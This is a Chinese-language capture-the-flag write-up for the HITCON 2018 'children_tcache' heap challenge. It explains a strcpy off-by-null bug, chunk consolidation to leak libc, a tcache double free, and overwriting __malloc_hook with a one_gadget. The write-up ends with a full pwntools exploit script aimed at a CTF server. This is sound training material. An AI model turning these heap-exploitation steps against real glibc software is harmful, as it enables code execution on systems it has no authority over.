HITCON_2018_children_tcache

检查保护措施

1

本地调试

2

堆菜单但是没有edit

IDA静态分析

3

这题漏洞点在于使用strcpy将我们输入的内容复制到堆上,因为strcpy会在字符串后面自动加上一个\x00所以会造成off-by-null

大致思路

这里如何去泄露libc是个难点,没有UAF不能简单地free一个chunk进unstored bin去show,那我们可以构造free一个chunk进unstored bin时去合并前面未释放的chunk,然后去切割unstored bin使得未释放的chunk的fd指向unsorted bin 链表的头部再show就可以泄露出来

我们先创建4个chunk

1
2
3
4
add(0x410,'aaaa')    # 0
add(0x68,'aaaa') #1
add(0x4f0,'aaaa') # 2
add(0x10,'aaaa') # 3

我们要利用1去改写chunk2的presize 和inuse位 = 0但是没有edit,且free之后会使用memset函数填充垃圾数据,

让inuse位为0很简单,只要释放chunk1再申请回来且写满数据,就会触发off-by-null覆盖inuse位,因为我们申请的chunk大小是0x68,会使用下一个chunk的presize,所以会溢出到chunk2的size的低一字节,那么presize如何改为0呢,这里有一个非常巧妙的方法

如果我们释放chunk1后申请0x67的chunk会怎样呢?

动调看一下:

1
2
3
4
5
6
free(0)  #chunk0先释放掉绕过unlink检查
free(1)
add(0x68,(0x68) * 'a')
free(0)
add(0x67,(0x67) * 'a')
free(0)

4

可以看到presize的高一字节已经被覆盖成\x00,如果再重复上述操作就可以循环写入一字节的\x00去把presize覆盖掉,再申请回0x68写入0x490

1
2
3
4
for i in range(0,9):
add(0x68-i,(0x68-i) * b'a')
free(0)
add(0x68,'a'*(0x60)+p64(0x490))

5

此时再free(2),就会合并chunk0和chunk16

那我们再从中切割0x420大小,也就是申请0x410的chunk,就会让chunk1的fd指向unsorted bin 链表的头部,但是chunk1我们是没有去释放的,我们是可以show(1)的,就泄露出libc了

1
2
3
4
add(0x410,'a')
show(0)
libc_base = u64(io.recvuntil('\x7f')[-6:].ljust(8,b'\x00')) - 96 - 0x10 - libc.sym['__malloc_hook']
print("libc_base",hex(libc_base))

此时我们再申请0x68的chunk是不是就会有两个指针指向了同一块内存,就能去doublefree了

1
2
3
4
add(0x68,'b')

free(0)
free(2)

7

那么此时我们申请回来再改fd去修改malloc_hook就可以了

1
2
3
4
5
6
7
8
9
10
11
12
one_gadget = [0x4f2c5,0x4f322,0x10a38c]

malloc_hook = libc_base + libc.sym['__malloc_hook']
add(0x68,p64(malloc_hook))
add(0x68,'aaaa')
add(0x68,p64(one_gadget[1]+libc_base))


io.recvuntil("Your choice:")
io.sendline('1')
io.recvuntil("Size:")
io.sendline('1')

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
from pwn import*
from struct import pack
context(os='linux', arch='amd64', log_level='debug')
#context.terminal = ['tmux','splitw','-h']
#io = process(['/home/giantbranch/Desktop/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/ld-2.27.so', './HITCON_2018_children_tcache'], env={"LD_PRELOAD":'/home/giantbranch/Desktop/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc.so.6'})

elf= ELF('./HITCON_2018_children_tcache')
libc = ELF('libc-2.27.so')
io = remote('node4.buuoj.cn',25555)
def add(size,content):
io.recvuntil("Your choice:")
io.sendline('1')
io.recvuntil("Size:")
io.sendline(str(size))
io.recvuntil("Data:")
io.sendline(content)

def show(index):
io.recvuntil("Your choice:")
io.sendline(str(2))
io.recvuntil("Index:")
io.sendline(str(index))
def free(index):
io.recvuntil("Your choice:")
io.sendline('3')
io.recvuntil("Index:")
io.sendline(str(index))



add(0x410,'aaaa') # 0
add(0x68,'aaaa') #1
add(0x4f0,'aaaa') # 2
add(0x10,'aaaa') # 3

free(0)
free(1)


for i in range(0,9):
add(0x68-i,(0x68-i) * b'a')
free(0)
add(0x68,'a'*(0x60)+p64(0x490))

free(2)

add(0x410,'a')
show(0)
libc_base = u64(io.recvuntil('\x7f')[-6:].ljust(8,b'\x00')) - 96 - 0x10 - libc.sym['__malloc_hook']
print("libc_base",hex(libc_base))
add(0x68,'b')

free(0)
free(2)
one_gadget = [0x4f2c5,0x4f322,0x10a38c]

malloc_hook = libc_base + libc.sym['__malloc_hook']
add(0x68,p64(malloc_hook))
add(0x68,'aaaa')
add(0x68,p64(one_gadget[1]+libc_base))


io.recvuntil("Your choice:")
io.sendline('1')
io.recvuntil("Size:")
io.sendline('1')

io.interactive()

8